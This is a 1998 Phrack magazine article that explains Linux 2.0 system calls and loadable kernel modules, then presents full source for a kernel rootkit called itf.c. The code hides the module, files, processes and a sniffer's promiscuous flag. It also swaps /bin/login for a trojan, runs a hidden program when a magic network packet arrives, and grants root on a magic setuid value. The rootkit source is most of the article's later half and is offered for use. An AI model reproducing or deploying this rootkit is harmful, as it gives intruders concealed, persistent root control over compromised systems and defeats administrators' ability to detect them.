home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 52.sit / Phrack52 / 52 / P52-18 < prev    next >
Text File  |  1998-01-26  |  27KB  |  953 lines

  1. ---[  Phrack Magazine   Volume 8, Issue 52 January 26, 1998, article 18 of 20
  2.  
  3.  
  4. -------------------------[  Weakening the Linux Kernel
  5.  
  6.  
  7. --------[  plaguez <dube0866@eurobretagne.fr>
  8.  
  9.  
  10.  
  11.  
  12. ----[  Preamble
  13.  
  14.  
  15. The following applies to the Linux x86 2.0.x kernel series.  It may also be
  16. accurate for previous releases, but has not been tested.  2.1.x kernels
  17. introduced a bunch of changes, most notably in the memory management routines,
  18. and are not discussed here.
  19.  
  20. Thanks to Halflife and Solar Designer for lots of neat ideas.  Brought to you
  21. by plaguez and WSD.
  22.  
  23.  
  24. ----[  User space vs. Kernel space
  25.  
  26. Linux supports a number of architectures, however most of the code and
  27. discussion in this article refers to the i386 version only.
  28.  
  29. Memory is divided into two parts: kernel space and user space. Kernel space
  30. is defined in the GDT, and mapped to each processes address space. User
  31. space is in the LDT and is local to each process. A given program can't
  32. write to kernel memory even when it is mapped because it is not in the
  33. same ring.
  34.  
  35. You also can not access user memory from the kernel typically. However,
  36. this is really easy to overcome. When we execute a system call, one
  37. of the first things the kernel does is set ds and es up so that memory
  38. references point to the kernel data segment. It then sets up fs so that
  39. it points to the user data segment. If we want to use kernel memory
  40. in a system call, all we should have to do is push fs, then set it to ds.
  41. Of course, I have not actually tested this, so take it with a pound or
  42. two of salt :).
  43.  
  44. Here are a few of the useful functions to use in kernel mode for transferring
  45. data bytes to or from user memory:
  46.  
  47. #include <asm/segment.h>
  48.  
  49. get_user(ptr)
  50.     Gets the given byte, word, or long from user memory.  This is a macro, and
  51.     it relies on the type of the argument to determine the number of bytes to
  52.     transfer.  You then have to use typecasts wisely.
  53.  
  54. put_user(ptr)
  55.     This is the same as get_user(), but instead of reading, it writes data
  56.     bytes to user memory.
  57.  
  58. memcpy_fromfs(void *to, const void *from,unsigned long n)
  59.     Copies n bytes from *from in user memory to *to in kernel memory.
  60.  
  61. memcpy_tofs(void *to,const *from,unsigned long n)
  62.     Copies n bytes from *from in kernel memory to *to in user memory.
  63.  
  64.  
  65. ----[  System calls
  66.  
  67.  
  68. Most libc function calls rely on underlying system calls, which are the
  69. simplest kernel functions a user program can call.  These system calls are
  70. implemented in the kernel itself or in loadable kernel modules, which are
  71. little chunks of dynamically linkable kernel code.
  72.  
  73. Like MS-DOS and many others, Linux system calls are implemented through a
  74. multiplexor called with a given maskable interrupt.  In Linux, this interrupt
  75. is int 0x80.  When the 'int 0x80' instruction is executed, control is given to
  76. the kernel (or, more accurately, to the function _system_call()), and the
  77. actual demultiplexing process occurs.
  78.  
  79. The _system_call() function works as follows:
  80.  
  81. First, all registers are saved and the content of the %eax register is checked
  82. against the global system calls table, which enumerates all system calls and
  83. their addresses.  This table can be accessed with the extern void
  84. *sys_call_table[] variable.  A given number and memory address in this table
  85. corresponds to each system call.  System call numbers can be found in
  86. /usr/include/sys/syscall.h.  They are of the form SYS_systemcallname.  If the
  87. system call is not implemented, the corresponding cell in the sys_call_table
  88. is 0, and an error is returned.  Otherwise, the system call exists and the
  89. corresponding entry in the table is the memory address of the system call code.
  90.  
  91. Here is an example of an invalid system call:
  92.  
  93. [root@plaguez kernel]# cat no1.c
  94. #include <linux/errno.h>
  95. #include <sys/syscall.h>
  96. #include <errno.h>
  97.  
  98. extern void *sys_call_table[];
  99.  
  100. sc()
  101. { // system call number 165 doesn't exist at this time.
  102.     __asm__(
  103.         "movl $165,%eax
  104.              int $0x80");
  105. }
  106.  
  107. main()
  108. {
  109.     errno = -sc();
  110.     perror("test of invalid syscall");
  111. }
  112. [root@plaguez kernel]# gcc no1.c
  113. [root@plaguez kernel]# ./a.out
  114. test of invalid syscall: Function not implemented
  115. [root@plaguez kernel]# exit
  116.  
  117.  
  118. Normally, control is then transferred to the actual system call, which performs
  119. whatever you requested and returns.  _system_call() then calls
  120. _ret_from_sys_call() to check various stuff, and ultimately returns to user
  121. memory.
  122.  
  123.  
  124. ----[  libc wrappers
  125.  
  126. The int $0x80 isn't used directly for system calls; rather, libc functions,
  127. which are often wrappers to interrupt 0x80, are used.
  128.  
  129. libc is actually the user space interface to kernel functions.
  130.  
  131. libc generally features the system calls using the _syscallX() macros, where X
  132. is the number of parameters for the system call.
  133.  
  134. For example, the libc entry for write(2) would be implemented with a _syscall3
  135. macro, since the actual write(2) prototype requires 3 parameters.  Before
  136. calling interrupt 0x80, the _syscallX macros are supposed to set up the stack
  137. frame and the argument list required for the system call.  Finally, when the
  138. _system_call() (which is triggered with int $0x80) returns, the _syscallX()
  139. macro will check for a negative return value (in %eax) and will set errno
  140. accordingly.
  141.  
  142. Let's check another example with write(2) and see how it gets preprocessed. 
  143.  
  144. [root@plaguez kernel]# cat no2.c
  145. #include <linux/types.h>
  146. #include <linux/fs.h>
  147. #include <sys/syscall.h>
  148. #include <asm/unistd.h>
  149. #include <sys/types.h>
  150. #include <stdio.h>
  151. #include <errno.h>
  152. #include <fcntl.h>
  153. #include <ctype.h>
  154.  
  155. _syscall3(ssize_t,write,int,fd,const void *,buf,size_t,count);
  156.  
  157. main()
  158. {
  159.     char *t = "this is a test.\n";
  160.     write(0, t, strlen(t));
  161. }
  162. [root@plaguez kernel]# gcc -E no2.c > no2.C
  163. [root@plaguez kernel]# indent no2.C -kr
  164. indent:no2.C:3304: Warning: old style assignment ambiguity in "=-".
  165. Assuming "= -"
  166.  
  167. [root@plaguez kernel]# tail -n 50 no2.C
  168.  
  169.  
  170. #9 "no2.c" 2
  171.  
  172.  
  173.  
  174.  
  175. ssize_t write(int fd, const void *buf, size_t count)
  176. {
  177.     long __res;
  178.     __asm__ __volatile("int $0x80":"=a"(__res):"0"(4), "b"((long) (fd)), 
  179. "c"((long) (buf)), "d"((long) (count)));
  180.     if (__res >= 0)
  181.     return (ssize_t) __res;
  182.     errno = -__res;
  183.     return -1;
  184. };
  185.  
  186. main()
  187. {
  188.     char *t = "this is a test.\n";
  189.     write(0, t, strlen(t));
  190. }
  191. [root@plaguez kernel]# exit
  192.  
  193.  
  194.  
  195. Note that the '4' in the write() function above matches the SYS_write
  196. definition in /usr/include/sys/syscall.h. 
  197.  
  198.  
  199. ----[  Writing your own system calls.
  200.  
  201. There are a few ways to create your own system calls.  For example, you could
  202. modify the kernel sources and append your own code.  A far easier way, however,
  203. would be to write a loadable kernel module.
  204.  
  205. A loadable kernel module is nothing more than an object file containing code
  206. that will be dynamically linked into the kernel when it is needed.
  207.  
  208. The main purposes of this feature are to have a small kernel, and to load a
  209. given driver when it is needed with the insmod(1) command.  It's also easier
  210. to write a lkm than to write code in the kernel source tree.
  211.  
  212. With lkm, adding  or modifying system calls is just a matter of modifying the
  213. sys_call_table array, as we'll see in the example below.
  214.  
  215.  
  216. ----[  Writing a lkm
  217.  
  218.  
  219. A lkm is easily written in C.  It contains a chunk of #defines, the body of the
  220. code, an initialization function called init_module(), and an unload function
  221. called cleanup_module().  The init_module() and cleanup_module() functions
  222. will be called at module loading and deleting.  Also, don't forget that
  223. modules are kernel code, and though they are easy to write, any programming
  224. mistake can have quite serious results.
  225.  
  226. Here is a typical lkm source structure:
  227.  
  228.  
  229. #define MODULE
  230. #define __KERNEL__
  231.  
  232. #include <linux/config.h>
  233. #ifdef MODULE
  234. #include <linux/module.h>
  235. #include <linux/version.h>
  236. #else
  237. #define MOD_INC_USE_COUNT
  238. #define MOD_DEC_USE_COUNT
  239. #endif
  240.  
  241. #include <linux/types.h>
  242. #include <linux/fs.h>
  243. #include <linux/mm.h>
  244. #include <linux/errno.h>
  245. #include <asm/segment.h>
  246. #include <sys/syscall.h>
  247. #include <linux/dirent.h>
  248. #include <asm/unistd.h>
  249. #include <sys/types.h>
  250. #include <stdio.h>
  251. #include <errno.h>
  252. #include <fcntl.h>
  253. #include <ctype.h>
  254.  
  255. int errno;
  256.  
  257. char tmp[64];
  258.  
  259. /* for example, we may need to use ioctl */
  260. _syscall3(int, ioctl, int, d, int, request, unsigned long, arg);
  261.  
  262. int myfunction(int parm1,char *parm2)
  263. {
  264.    int i,j,k;
  265.    /* ... */
  266. }
  267.  
  268. int init_module(void)
  269. {
  270.    /* ... */
  271.    printk("\nModule loaded.\n");
  272.    return 0;
  273. }
  274.  
  275. void cleanup_module(void)
  276. {
  277.    /* ... */
  278.    printk("\nModule unloaded.\n");
  279. }
  280.  
  281. Check the mandatory #defines (#define MODULE, #define __KERNEL__) and
  282. #includes (#include <linux/config.h> ...)
  283.  
  284. Also note that as our lkm will be running in kernel mode, we can't use libc
  285. functions, but we can use system calls with the previously discussed
  286. _syscallX() macros or call them directly using the pointers to functions
  287. located in the sys_call_table array.
  288.  
  289. You would compile this module with 'gcc -c -O3 module.c' and insert it into
  290. the kernel with 'insmod module.o' (optimization must be turned on).
  291.  
  292. As the title suggests, lkm can also be used to modify kernel code without
  293. having to rebuild it entirely.  For example, you could patch the write(2)
  294. system call to hide portions of a given file.  Seems like a good place for
  295. backdoors, also: what would you do if you couldn't trust your own kernel?
  296.  
  297.  
  298. ----[  Kernel and system calls backdoors
  299.  
  300.  
  301. The main idea behind this is pretty simple.  We'll redirect those damn system
  302. calls to our own system calls in a lkm, which will enable us to force the
  303. kernel to react as we want it to.  For example, we could hide a sniffer by
  304. patching the IOCTL system call and masking the PROMISC bit.  Lame but
  305. efficient.
  306.  
  307. To modify a given system call, just add the definition of the extern void
  308. *sys_call_table[] in your lkm, and have the init_module() function modify the
  309. corresponding entry in the sys_call_table to point to your own code.  The
  310. modified call can then do whatever you wish it to, meaning that as all user
  311. programs rely on those kernel calls, you'll have entire control of the system.
  312.  
  313. This point raises the fact that it can become very difficult to prevent
  314. intruders from staying in the system when they've broken into it.  Prevention
  315. is still the best way to security, and hardening the Linux kernel is needed on
  316. sensitive boxes.
  317.  
  318.  
  319. ----[  A few programming tricks
  320.  
  321.  
  322. - Calling system calls within a lkm is pretty easy as long as you pass user
  323. space arguments to the given system call. If you need to pass kernel space
  324. arguments, you need to be sure to modify the fs register, or else
  325. everything will fall on its face.  It is just a matter of storing the
  326. system call function in a "pointer to function" variable, and then using this
  327. variable.  For example:
  328.  
  329. #define MODULE
  330. #define __KERNEL__
  331.  
  332. #include <linux/config.h>
  333. #ifdef MODULE
  334. #include <linux/module.h>
  335. #include <linux/version.h>
  336. #else
  337. #define MOD_INC_USE_COUNT
  338. #define MOD_DEC_USE_COUNT
  339. #endif
  340.  
  341. #include <linux/types.h>
  342. #include <linux/fs.h>
  343. #include <linux/mm.h>
  344. #include <linux/errno.h>
  345. #include <asm/segment.h>
  346. #include <sys/syscall.h>
  347.  
  348. #include <unistd.h>
  349. #include <linux/unistd.h>
  350.  
  351.  
  352. int errno;
  353.  
  354. /* pointer to the old setreuid system call */
  355. int (*o_setreuid) (uid_t, uid_t);
  356. /* the system calls vectors table */
  357. extern void *sys_call_table[];
  358.  
  359.  
  360. int n_setreuid(uid_t ruid, uid_t euid)
  361. {
  362.     printk("uid %i trying to seteuid to euid=%i", current->uid, euid);
  363.     return (*o_setreuid) (ruid, euid);
  364. }
  365.  
  366.  
  367. int init_module(void)
  368. {
  369.     o_setreuid = sys_call_table[SYS_setreuid];
  370.     sys_call_table[SYS_setreuid] = (void *) n_setreuid;
  371.     printk("swatch loaded.\n");
  372.     return 0;
  373. }
  374.  
  375. void cleanup_module(void)
  376. {
  377.     sys_call_table[SYS_setreuid] = o_setreuid;
  378.     printk("\swatch unloaded.\n");
  379. }
  380.  
  381. - Hiding a module can be done in several ways.  As Runar Jensen showed in
  382. Bugtraq, you could strip /proc/modules on the fly, when a program tries to
  383. read it.  Unfortunately, this is somewhat difficult to implement and, as it
  384. turns out, this is not a good solution since doing a
  385. 'dd if=/proc/modules bs=1' would show the module.  We need to find another
  386. solution.  Solar Designer (and other nameless individuals) have a solution.
  387. Since the module info list is not exported from the kernel, there is no direct
  388. way to access it, except that this module info structure is used in
  389. sys_init_module(), which calls our init_module()!  Providing that gcc does not
  390. fuck up the registers before entering our init_module(), it is possible to get
  391. the register previously used for struct module *mp and then to get the address
  392. of one of the items of this structure (which is a circular list btw). So, our
  393. init_module() function will include something like that at its beginning:
  394.  
  395. int init_module()
  396. {
  397.   register struct module *mp asm("%ebx");   // or whatever register it is in
  398.   *(char*)mp->name=0;
  399.   mp->size=0;
  400.   mp->ref=0;
  401.   ...
  402. }
  403.  
  404. Since the kernel does not show modules with no name and no references (=kernel
  405. modules), our one won't be shown in /proc/modules.
  406.  
  407.  
  408. ----[  A practical example
  409.  
  410.  
  411. Here is itf.c.  The goal of this program is to demonstrate kernel backdooring
  412. techniques using system call redirection.  Once installed, it is very hard to
  413. spot.
  414.  
  415. Its features include:
  416.  
  417. - stealth functions:  once insmod'ed, itf will modify struct module *mp and
  418. get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.
  419. Also, the module cannot be unloaded.
  420.  
  421. - sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be
  422. hidden.  Note that you'll need to place the sniffer BEFORE insmod'ing itf.o,
  423. because itf will trap a change in the PROMISC flag and will then stop hidding
  424. it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot
  425. the module...).
  426.  
  427. - file hidder: itf will also patch the getdents(2) system calls, thus hidding
  428. files containing a certain word in their filename.
  429.  
  430. - process hidder: using the same technic as described above, itf will hide
  431. /procs/PœD directories using argv entries.  Any process named with the magic
  432. name will be hidden from the procfs tree.
  433.  
  434. - execve redirection: this implements Halflife's idea discussed in P51.
  435. If a given program (notably /bin/login) is execve'd, itf will execve
  436. another program instead.  It uses tricks to overcome Linux memory managment
  437. limitations: brk(2) is used to increase the calling program's data segment
  438. size, thus allowing us to allocate user memory while in kernel mode (remember
  439. that most system calls wait for arguments in user memory, not kernel mem).
  440.  
  441. - socket recvfrom() backdoor: when a packet matching a given size and a given
  442. string is received, a non-interactive program will be executed.  Typicall use
  443. is a shell script (which will be hidden using the magic name) that opens
  444. another port and waits there for shell commands.
  445.  
  446. - setuid() trojan: like Halflife's stuff.  When a setuid() syscall with uid ==
  447. magic number is done, the calling process will get uid = euid = gid = 0
  448.  
  449.  
  450. <++> lkm_trojan.c
  451. /*
  452.  * itf.c v0.8
  453.  * Linux Integrated Trojan Facility
  454.  * (c) plaguez 1997  --  dube0866@eurobretagne.fr
  455.  * This is mostly not fully tested code. Use at your own risks.
  456.  *
  457.  * 
  458.  * compile with:
  459.  *   gcc -c -O3 -fomit-frame-pointer itf.c
  460.  * Then:
  461.  *   insmod itf
  462.  * 
  463.  * 
  464.  * Thanks to Halflife and Solar Designer for their help/ideas. 
  465.  *
  466.  * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
  467.  *
  468.  * 
  469.  */
  470.  
  471. #define MODULE
  472. #define __KERNEL__
  473.  
  474.  
  475. #include <linux/config.h>
  476. #include <linux/module.h>
  477. #include <linux/version.h>
  478.  
  479. #include <linux/types.h>
  480. #include <linux/fs.h>
  481. #include <linux/mm.h>
  482. #include <linux/errno.h>
  483. #include <asm/segment.h>
  484. #include <asm/pgtable.h>
  485. #include <sys/syscall.h>
  486. #include <linux/dirent.h>
  487. #include <asm/unistd.h>
  488. #include <sys/types.h>
  489. #include <sys/socket.h>
  490. #include <sys/socketcall.h>
  491. #include <linux/netdevice.h>
  492. #include <linux/if.h>
  493. #include <linux/if_arp.h>
  494. #include <linux/if_ether.h>
  495. #include <linux/proc_fs.h>
  496. #include <stdio.h>
  497. #include <errno.h>
  498. #include <fcntl.h>
  499. #include <ctype.h>
  500.  
  501.  
  502. /* Customization section 
  503.  * - RECVEXEC is the full pathname of the program to be launched when a packet
  504.  * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().
  505.  * This program can be a shell script, but must be able to handle null **argv (I'm too lazy
  506.  * to write more than execve(RECVEXEC,NULL,NULL); :)
  507.  * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
  508.  * when an execve() syscall occurs.
  509.  * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)
  510.  * is made (like Halflife's code)
  511.  * - files containing MAGICNAME in their full pathname will be invisible to
  512.  * a getdents() system call.
  513.  * - processes containing MAGICNAME in their process name will be hidden of the
  514.  * procfs tree.
  515.  */
  516. #define MAGICNAME "w00w00T$!"
  517. #define MAGICUID  31337
  518. #define OLDEXEC   "/bin/login"
  519. #define NEWEXEC   "/.w00w00T$!/w00w00T$!login"
  520. #define RECVEXEC  "/.w00w00T$!/w00w00T$!recv"
  521. #define MAGICSIZE sizeof(MAGICNAME)+10
  522.  
  523. /* old system calls vectors */
  524. int (*o_getdents) (uint, struct dirent *, uint);
  525. ssize_t(*o_readdir) (int, void *, size_t);
  526. int (*o_setuid) (uid_t);
  527. int (*o_execve) (const char *, const char *[], const char *[]);
  528. int (*o_ioctl) (int, int, unsigned long);
  529. int (*o_get_kernel_syms) (struct kernel_sym *);
  530. ssize_t(*o_read) (int, void *, size_t);
  531. int (*o_socketcall) (int, unsigned long *);
  532. /* entry points to brk() and fork() syscall. */
  533. static inline _syscall1(int, brk, void *, end_data_segment);
  534. static inline _syscall0(int, fork);
  535. static inline _syscall1(void, exit, int, status);
  536.  
  537. extern void *sys_call_table[];
  538. extern struct proto tcp_prot;
  539. int errno;
  540.  
  541. char mtroj[] = MAGICNAME;
  542. int __NR_myexecve;
  543. int promisc;
  544.  
  545.  
  546.  
  547. /*
  548.  * String-oriented functions
  549.  * (from user-space to kernel-space or invert)
  550.  */
  551.  
  552. char *strncpy_fromfs(char *dest, const char *src, int n)
  553. {
  554.     char *tmp = src;
  555.     int compt = 0;
  556.  
  557.     do {
  558.     dest[compt++] = __get_user(tmp++, 1);
  559.     }
  560.     while ((dest[compt - 1] != '\0') && (compt != n));
  561.  
  562.     return dest;
  563. }
  564.  
  565.  
  566. int myatoi(char *str)
  567. {
  568.     int res = 0;
  569.     int mul = 1;
  570.     char *ptr;
  571.  
  572.     for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  573.     if (*ptr < '0' || *ptr > '9')
  574.         return (-1);
  575.     res += (*ptr - '0') * mul;
  576.     mul *= 10;
  577.     }
  578.     return (res);
  579. }
  580.  
  581.  
  582.  
  583. /*
  584.  * process hiding functions
  585.  */
  586. struct task_struct *get_task(pid_t pid)
  587. {
  588.     struct task_struct *p = current;
  589.     do {
  590.     if (p->pid == pid)
  591.         return p;
  592.     p = p->next_task;
  593.     }
  594.     while (p != current);
  595.     return NULL;
  596.  
  597. }
  598.  
  599. /* the following function comes from fs/proc/array.c */
  600. static inline char *task_name(struct task_struct *p, char *buf)
  601. {
  602.     int i;
  603.     char *name;
  604.  
  605.     name = p->comm;
  606.     i = sizeof(p->comm);
  607.     do {
  608.     unsigned char c = *name;
  609.     name++;
  610.     i--;
  611.     *buf = c;
  612.     if (!c)
  613.         break;
  614.     if (c == '\\') {
  615.         buf[1] = c;
  616.         buf += 2;
  617.         continue;
  618.     }
  619.     if (c == '\n') {
  620.         buf[0] = '\\';
  621.         buf[1] = 'n';
  622.         buf += 2;
  623.         continue;
  624.     }
  625.     buf++;
  626.     }
  627.     while (i);
  628.     *buf = '\n';
  629.     return buf + 1;
  630. }
  631.  
  632.  
  633.  
  634. int invisible(pid_t pid)
  635. {
  636.     struct task_struct *task = get_task(pid);
  637.     char *buffer;
  638.     if (task) {
  639.     buffer = kmalloc(200, GFP_KERNEL);
  640.     memset(buffer, 0, 200);
  641.     task_name(task, buffer);
  642.     if (strstr(buffer, (char *) &mtroj)) {
  643.         kfree(buffer);
  644.         return 1;
  645.     }
  646.     }
  647.     return 0;
  648. }
  649.  
  650.  
  651.  
  652. /*
  653.  * New system calls
  654.  */
  655.  
  656. /*
  657.  * hide module symbols
  658.  */
  659. int n_get_kernel_syms(struct kernel_sym *table)
  660. {
  661.     struct kernel_sym *tb;
  662.     int compt, compt2, compt3, i, done;
  663.  
  664.     compt = (*o_get_kernel_syms) (table);
  665.     if (table != NULL) {
  666.     tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
  667.     if (tb == 0) {
  668.         return compt;
  669.     }
  670.     compt2 = 0;
  671.     done = 0;
  672.     i = 0;
  673.     memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
  674.     while (!done) {
  675.         if ((tb[compt2].name)[0] == '#')
  676.         i = compt2;
  677.         if (!strcmp(tb[compt2].name, mtroj)) {
  678.         for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
  679.         if (compt3 != (compt - 1))
  680.             memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
  681.         else
  682.             compt = i;
  683.         done++;
  684.         }
  685.         compt2++;
  686.         if (compt2 == compt)
  687.         done++;
  688.  
  689.     }
  690.  
  691.     memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
  692.     kfree(tb);
  693.     }
  694.     return compt;
  695.  
  696. }
  697.  
  698.  
  699.  
  700. /*
  701.  * how it works:
  702.  * I need to allocate user memory. To do that, I'll do exactly as malloc() does
  703.  * it (changing the break value).
  704.  */
  705. int my_execve(const char *filename, const char *argv[], const char *envp[])
  706. {
  707.     long __res;
  708.     __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
  709.     return (int) __res;
  710. }
  711.  
  712. int n_execve(const char *filename, const char *argv[], const char *envp[])
  713. {
  714.     char *test;
  715.     int ret, tmp;
  716.     char *truc = OLDEXEC;
  717.     char *nouveau = NEWEXEC;
  718.     unsigned long mmm;
  719.  
  720.     test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
  721.     (void) strncpy_fromfs(test, filename, strlen(truc));
  722.     test[strlen(truc)] = '\0';
  723.     if (!strcmp(test, truc)) {
  724.     kfree(test);
  725.     mmm = current->mm->brk;
  726.     ret = brk((void *) (mmm + 256));
  727.     if (ret < 0)
  728.         return ret;
  729.     memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
  730.     ret = my_execve((char *) (mmm + 2), argv, envp);
  731.     tmp = brk((void *) mmm);
  732.     } else {
  733.     kfree(test);
  734.     ret = my_execve(filename, argv, envp);
  735.     }
  736.     return ret;
  737.  
  738. }
  739.  
  740.  
  741. /*
  742.  * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
  743.  * If we reset the PROMISC flag when the trojan is already running, then it
  744.  * won't hide it anymore (needed otherwise you'd just have to do an
  745.  * "ifconfig eth0 +promisc" to find the trojan).
  746.  */
  747. int n_ioctl(int d, int request, unsigned long arg)
  748. {
  749.     int tmp;
  750.     struct ifreq ifr;
  751.  
  752.     tmp = (*o_ioctl) (d, request, arg);
  753.     if (request == SIOCGIFFLAGS && !promisc) {
  754.     memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
  755.     ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
  756.     memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
  757.     } else if (request == SIOCSIFFLAGS) {
  758.     memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
  759.     if (ifr.ifr_flags & IFF_PROMISC)
  760.         promisc = 1;
  761.     else if (!(ifr.ifr_flags & IFF_PROMISC))
  762.         promisc = 0;
  763.     }
  764.     return tmp;
  765.  
  766. }
  767.  
  768.  
  769. /*
  770.  * trojan setMAGICUID() system call.
  771.  */
  772. int n_setuid(uid_t uid)
  773. {
  774.     int tmp;
  775.  
  776.     if (uid == MAGICUID) {
  777.     current->uid = 0;
  778.     current->euid = 0;
  779.     current->gid = 0;
  780.     current->egid = 0;
  781.     return 0;
  782.     }
  783.     tmp = (*o_setuid) (uid);
  784.     return tmp;
  785. }
  786.  
  787.  
  788. /*
  789.  * trojan getdents() system call. 
  790.  */
  791. int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
  792. {
  793.     unsigned int tmp, n;
  794.     int t, proc = 0;
  795.     struct inode *dinode;
  796.     struct dirent *dirp2, *dirp3;
  797.  
  798.     tmp = (*o_getdents) (fd, dirp, count);
  799.  
  800. #ifdef __LINUX_DCACHE_H
  801.     dinode = current->files->fd[fd]->f_dentry->d_inode;
  802. #else
  803.     dinode = current->files->fd[fd]->f_inode;
  804. #endif
  805.  
  806.     if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  807.     proc = 1;
  808.     if (tmp > 0) {
  809.     dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  810.     memcpy_fromfs(dirp2, dirp, tmp);
  811.     dirp3 = dirp2;
  812.     t = tmp;
  813.     while (t > 0) {
  814.         n = dirp3->d_reclen;
  815.         t -= n;
  816.         if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
  817.         ||(proc && invisible(myatoi(dirp3->d_name)))) {
  818.         if (t != 0)
  819.             memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
  820.         else
  821.             dirp3->d_off = 1024;
  822.         tmp -= n;
  823.         }
  824.         if (dirp3->d_reclen == 0) {
  825.         /*
  826.          * workaround for some shitty fs drivers that do not properly
  827.          * feature the getdents syscall.
  828.          */
  829.         tmp -= t;
  830.         t = 0;
  831.         }
  832.         if (t != 0)
  833.         dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  834.  
  835.  
  836.     }
  837.     memcpy_tofs(dirp, dirp2, tmp);
  838.     kfree(dirp2);
  839.     }
  840.     return tmp;
  841.  
  842. }
  843.  
  844.  
  845. /*
  846.  * Trojan socketcall system call
  847.  * executes a given binary when a packet containing the magic word is received.
  848.  * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.  
  849.  */
  850.  
  851. int n_socketcall(int call, unsigned long *args)
  852. {
  853.     int ret, ret2, compt;
  854.     char *t = RECVEXEC;
  855.     unsigned long *sargs = args;
  856.     unsigned long a0, a1, mmm;
  857.     void *buf;
  858.  
  859.     ret = (*o_socketcall) (call, args);
  860.     if (ret == MAGICSIZE && call == SYS_RECVFROM) {
  861.     a0 = get_user(sargs);
  862.     a1 = get_user(sargs + 1);
  863.     buf = kmalloc(ret, GFP_KERNEL);
  864.     memcpy_fromfs(buf, (void *) a1, ret);
  865.     for (compt = 0; compt < ret; compt++)
  866.         if (((char *) (buf))[compt] == 0)
  867.         ((char *) (buf))[compt] = 1;
  868.     if (strstr(buf, mtroj)) {
  869.         kfree(buf);
  870.         ret2 = fork();
  871.         if (ret2 == 0) {
  872.         mmm = current->mm->brk;
  873.         ret2 = brk((void *) (mmm + 256));
  874.         memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
  875. /* Hope the execve has been successfull otherwise you'll have 2 copies of the
  876.    master process in the ps list :] */
  877.         ret2 = my_execve((char *) mmm + 2, NULL, NULL);
  878.         }
  879.     }
  880.     }
  881.     return ret;
  882. }
  883.  
  884.  
  885.  
  886.  
  887.  
  888. /*
  889.  * module initialization stuff.
  890.  */
  891. int init_module(void)
  892. {
  893. /* module list cleaning */
  894. /* would need to make a clean search of the right register
  895.  * in the function prologue, since gcc may not always put 
  896.  * struct module *mp in %ebx 
  897.  * 
  898.  * Try %ebx, %edi, %ebp, well, every register actually :)
  899.  */
  900.     register struct module *mp asm("%ebx");
  901.     *(char *) (mp->name) = 0;
  902.     mp->size = 0;
  903.     mp->ref = 0;
  904. /*
  905.  * Make it unremovable
  906.  */
  907. /*    MOD_INC_USE_COUNT;
  908.  */
  909.     o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
  910.     sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;
  911.  
  912.     o_getdents = sys_call_table[SYS_getdents];
  913.     sys_call_table[SYS_getdents] = (void *) n_getdents;
  914.  
  915.     o_setuid = sys_call_table[SYS_setuid];
  916.     sys_call_table[SYS_setuid] = (void *) n_setuid;
  917.  
  918.     __NR_myexecve = 164;
  919.     while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  920.     __NR_myexecve--;
  921.     o_execve = sys_call_table[SYS_execve];
  922.     if (__NR_myexecve != 0) {
  923.     sys_call_table[__NR_myexecve] = o_execve;
  924.     sys_call_table[SYS_execve] = (void *) n_execve;
  925.     }
  926.     promisc = 0;
  927.     o_ioctl = sys_call_table[SYS_ioctl];
  928.     sys_call_table[SYS_ioctl] = (void *) n_ioctl;
  929.  
  930.     o_socketcall = sys_call_table[SYS_socketcall];
  931.     sys_call_table[SYS_socketcall] = (void *) n_socketcall;
  932.     return 0;
  933.  
  934. }
  935.  
  936.  
  937. void cleanup_module(void)
  938. {
  939.     sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
  940.     sys_call_table[SYS_getdents] = o_getdents;
  941.     sys_call_table[SYS_setuid] = o_setuid;
  942.     sys_call_table[SYS_socketcall] = o_socketcall;
  943.  
  944.     if (__NR_myexecve != 0)
  945.     sys_call_table[__NR_myexecve] = 0;
  946.     sys_call_table[SYS_execve] = o_execve;
  947.  
  948.     sys_call_table[SYS_ioctl] = o_ioctl;
  949. }
  950. <-->
  951.  
  952. ----[  EOF
  953.